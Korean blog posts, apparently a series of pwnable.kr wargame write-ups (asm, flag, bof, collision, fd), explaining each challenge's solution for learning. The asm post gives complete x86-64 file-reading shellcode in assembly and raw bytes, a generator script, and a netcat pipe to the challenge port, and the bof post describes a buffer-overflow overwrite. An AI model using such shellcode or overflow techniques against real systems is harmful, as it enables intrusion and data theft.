Pwnable.kr ASM

우선 asm파일과 asm.c 파일 그리고 플래그 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong파일, readme파일이 있습니다. 이때 우리는 긴 플래그 파일을 열어야합니다. 우리는 asm을 실행해본다면 read, write, open 함수를 사용하여 64bit 쉘코드를 입력하라고 한다. 따라서 우리는 먼저 어떻게 어셈으로 코딩할지 c로 짜보고 코딩해보자.

#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
	int fd;
	char buf[1024];
fd = open("./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", O_RDONLY);
	read(fd, buf, 1024);
	write(1, buf, 1024);
//	puts(buf);
	return ;
	
}

이런식의 c언어를 어셈블리로 짜보자 우선 python 소스를 짜서 긴 flag 파일을 넣어줄 수 있게 little endian 방식으로 만들어 주어야 한다. 또 우리는 x64소스를 짜는 데 x64는 mov 만 16bit를 넣어줄 수 있기 때문에 넣을 값을 rax값에 넣고 rax를 push 하는 방식으로 사용해야 한다.

먼저 python 소스를 보자

a = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong".encode("hex")
b=[]
c=[]
for i in range(0,len(a)/2+1):
    b.append(a[i*2:i*2+2])
    #b[i] = "\\x"+b[i]
    
b.reverse()
#print(b)

for j in range(0,len(b)/8):
    c.append(b[j*8]+b[j*8+1]+b[j*8+2]+b[j*8+3]+b[j*8+4]+b[j*8+5]+b[j*8+6]+b[j*8+7])
h=0
for k in c:
    print "mov rax, 0x"+k
    print "push rax"

이 파이썬을 돌리면 우리는 넣을 수 있는 코드를 만들 수 있다.

section .data
section .bss
buf: resb 4
section .text

global _start

_start:
	push rbp
	mov rbp, rsp
	mov rax, 0x676e6f306f306f30
	push rax
	mov rax, 0x6f306f306f306f30
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030306f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f303030303030
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030306f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6c
	push rax
	mov rax, 0x5f797265765f7369
	push rax
	mov rax, 0x5f656d616e5f656c
	push rax
	mov rax, 0x69665f6568745f79
	push rax
	mov rax, 0x72726f732e656c69
	push rax
	mov rax, 0x665f736968745f64
	push rax
	mov rax, 0x6165725f65736165
	push rax
	mov rax, 0x6c705f656c69665f
	push rax
	mov rax, 0x67616c665f726b2e
	push rax
	mov rax, 0x656c62616e77705f
	push rax

	mov rdx, 0x0
	mov rsi, 0x0
	mov rdi, rsp
	mov rax, 2
	syscall	

	mov rdi, rax
	mov rsi, buf
	mov rdx, 100
	mov rax, 0
	syscall

	mov rdi, 1
	mov rsi, buf
	mov rdx, 100
	mov rax, 1
	syscall 	

이렇게 만들어 주면 우리는 read, write, open을 사용하여 로컬 환경에서 flag를 띄워 줄 수 있는 어셈 소스를 만들었다. 그렇다면 우리는 이 환경이 아닌 pwnable에서 가능한 어셈을 만들어 주어야 한다.

이것을 우리는 기계어로 바꾸어 주어야 한다. 다른 문제에서는 null 값을 제거 해주어야 하지만 이 문제에서는 null을 신경안써도 된다.

위의 코드는 로컬환경에서 만든 소스이기 때문에 buf 값을 우리가 정해서 사용했지만 실제 코드를 실행시키기 위해서는 c 파일에 있는 char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);에서 할당된 영역안으로 넣어주어야 한다.

따라서 우리는

section .data
section .bss
buf: resb 4
section .text

global _start

_start:
mov rax, 0x676e6f306f306f
push rax
mov rax, 0x306f306f306f306f
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f3030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6c5f797265765f73
push rax
mov rax, 0x695f656d616e5f65
push rax
mov rax, 0x6c69665f6568745f
push rax
mov rax, 0x7972726f732e656c
push rax
mov rax, 0x69665f736968745f
push rax
mov rax, 0x646165725f657361
push rax
mov rax, 0x656c705f656c6966
push rax
mov rax, 0x5f67616c665f726b
push rax
mov rax, 0x2e656c62616e7770
push rax
mov rax, 0x5f73695f73696874
push rax
mov rdx, 0x0
mov rsi, 0x0
mov rdi, rsp
mov rax, 2
syscall	

mov rdi, rax
mov rsi, 0x41414800
mov rdx, 100
mov rax, 0
syscall

mov rdi, 1
mov rsi, 0x41414800
mov rdx, 100
mov rax, 1
syscall

위의 소스로 쉘코드를 만들어 주면 된다.

objdump -D ‘실행파일명’ 을 뽑아내어 쉘코드를 하나하나 숫자를 이어붙여도 되지만 편하게 하기위해서 https://defuse.ca/online-x86-assembler.htm 이곳에서 위의 소스를 붙여넣어주면 우리는 쉘코드를 획득할 수 있다.

그렇게 변환시켜주게 되면 나온 소스를 pwnable 서버에 파이썬 소스를 만들어 실행시켜주어야 한다.

a = "\x48\xB8\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x50\x48\xB8\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x73\x5F\x76\x65\x72\x79\x5F\x6C\x50\x48\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x50\x48\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x50\x48\xB8\x6C\x65\x2E\x73\x6F\x72\x72\x79\x50\x48\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x50\x48\xB8\x61\x73\x65\x5F\x72\x65\x61\x64\x50\x48\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x50\x48\xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x50\x48\xB8\x70\x77\x6E\x61\x62\x6C\x65\x2E\x50\x48\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x50\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC6\x00\x00\x00\x00\x48\x89\xE7\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC6\x00\x48\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x00\x48\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

import sys

sys.stdout.write(a)

이렇게 만든 파이썬 소스를 tmp폴더에 자신만의 다른 폴더를 만들고 소스를 넣어주고 난 후에 asm에 돌리면 fake flag라고 뜬다. 그래서 readme 파일을 만들어보면 nc 0 9026으로 보내주라고 나온다.

따라서 우리는 python /tmp/자신이만든 폴더/만든 소스.py | nc 0 9026 을 입력해 주면 우리가 원하는 플래그가 나온다.

'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr 4번 [flag]  (0) 2018.04.14
pwnable.kr 3번 [bof]  (0) 2018.04.13
pwnable.kr 2번 [collision]  (0) 2018.04.12
pwnable.kr 1번 [fd]  (0) 2018.04.10


4번이다.

우선 리버싱 문제라고 먼저 먹어놓았다.

그렇다면 http://pwnablekr/bin/flag를 다운받아보자!



이제 ida로 열어보기 위해서 윈도우에 다운로드 받아보자!


분석하기 전에 string을 보기위해

ctrl+1을 눌러서 string을 보면



upx.sf.net이라는 문장이 보인다.

upx는 인코딩 또는 디코딩을 할 수 있는 프로그램으로 



https://github.com/upx/upx/releases/tag/v3.94

여기서


이 파일을 다운받아준다.


그리고 flag 파일을 디코딩을 해주고

ida로 열어보면

이렇게 flag가 나와있는 것을 볼 수있다.


'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm]  (0) 2018.08.01
pwnable.kr 3번 [bof]  (0) 2018.04.13
pwnable.kr 2번 [collision]  (0) 2018.04.12
pwnable.kr 1번 [fd]  (0) 2018.04.10


3번째 pwnable문제이다!

우선 위에 적힌 것들을 다운로드 해 보자

이렇게 다운로드를 하고 난 후에

bof.c파일을 살펴보자


func()함수에 들어온 key값이 0xcafebabe 와 같으면

쉘을 얻을수 있다.

하지만 main함수에서 이미 값을 0xdeadbeef로 줘버려서

key 값을 줄수가 없다.

하지만 우리는 처음 문제를 주어질 때에 버퍼오버플로우 문제인 것을 보았다.

이때 gets함수가 여기서 문제를 풀 열쇠이다.

gets함수는 입력값을 넣어주는데 실제 코딩을 할 때에는 버퍼오버플로우 때문에 warning이 뜨는 함수이다.

우선 gdb로 보자!

이때 우리는 어디까지 버퍼오버플로우로 값을 넣어서 cafebabe와 비교할 때에

같게 되는 지를 보자.

gets 함수에서의 입력은 <+29>에서 본 ebp-0x2c이고

키값은 ebp+0x8이다.

따라서

52만큼의 차이를 채워준다면 우리는 버퍼오버플로우 된 값을

key의 값으로 넣어줄 수 있다.

따라서 52바이트를 삽입한 후에 cafebabe를 넣어주면

쉘을 얻을수 있고


flag를 실행시키면 답이 나온다!


'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm]  (0) 2018.08.01
pwnable.kr 4번 [flag]  (0) 2018.04.14
pwnable.kr 2번 [collision]  (0) 2018.04.12
pwnable.kr 1번 [fd]  (0) 2018.04.10


pwnable.kr 2번문제 collision문제다.

우선 문제에 주어진

ssh col@pwnable.kr -p2222 로 들어갈 수 있다.



우선 ls -al로 안에 들어있는 파일들을 보니

이번에도 c파일인 col.c가 있다.


이것을 열어보면 hashcode와 입력값이 같으면 열리는 형식이다.

하지만 20byte여야 한다.



그래서 hashcode 값인 0x21DD09EC를 

파이썬을 열어서

5로나눈 값은 113626824이다.

하지만 정확히 5로 나누어 떨어지는지 다시 5를 곱해보면

4가 차이나는 것을 알 수 있다.


그렇기 때문에 우선 0xC8CEC506을 4개 넣고

나머지 0xCCCEC506값을 

넣어주면

flag가 출력된다.


'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm]  (0) 2018.08.01
pwnable.kr 4번 [flag]  (0) 2018.04.14
pwnable.kr 3번 [bof]  (0) 2018.04.13
pwnable.kr 1번 [fd]  (0) 2018.04.10


웹문제만 풀다가 다른 부분의 지식도 알아야겠다는 생각에

시작한 pwnable.kr 이다


첫번째 문제인 fd이다



눌러보면 일단 ssh fd@pwnable.kr -p2222로 들어가라고 한다

리눅스창에서 치고

비밀번호는 guest를 치면


이 문제로 들어가 진다.


이때 ls -al로 들어가보면 우리가 찾아야 할 것 같은 flag가 있는 것을 볼 수 있다.

하지만 root권한이기 때문에 flag를 볼수는 없다.





이렇듯 퍼미션 디나인이 나온다/




그렇지만 우리의 문제는

fd문제이지 않은가

그렇기 때문에 fd를 실행 시켜보면 숫자를 입력하라고 나온다.

따라서 fd.c 파일을 보면


이런 소스를 볼 수 있다.

소스를 보면 우선 값을 입력해 주어야 하고

atoi함수가 나오는데 이것은 값을 입력할 때에 문자형을 인트형으로 변환 시켜주는 값이다.

그리고 들어온 값은 -0x1234로 빼준다.

이것이 이 문제의 핵심이라고도 볼 수 있는데

이 값이 read값의 인자로 들어간다는 것이다.

빼진 fd값이 read의 인자인데

이때 read 함수를 알아봐야 겠다.


명령어 man read를 치면

 

이렇게 설명이 나온다.

read함수에서

int fd는 open시스템 콜로 열린 파일을 가리키는 파일 지정번호 이고,

buf는 파일에서 읽은 데이터를 저장할 메모리 공간,

len은 읽을 데이터의 크기를 나타내 준다.

이때 항상 예약된 값이 있는데

fd가 0이면 표준 입력,

1이면 표준 출력,

2이면 표준 에러 출력을 나타낸다.

그리고 우리는 strcmp함수로 LETMEWIN값과 버퍼에 있는 값을 비교해

같으면 flag를 출력해주는 것 같다.

따라서 0x1234는 10진수로 4660이기 때문에




./fd 4660을 입력하면

다시 입력을 할 수 있게 되고

그곳에 LETMEWIN을 치면

FLAG를 얻을 수 있다.


'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm]  (0) 2018.08.01
pwnable.kr 4번 [flag]  (0) 2018.04.14
pwnable.kr 3번 [bof]  (0) 2018.04.13
pwnable.kr 2번 [collision]  (0) 2018.04.12

+ Recent posts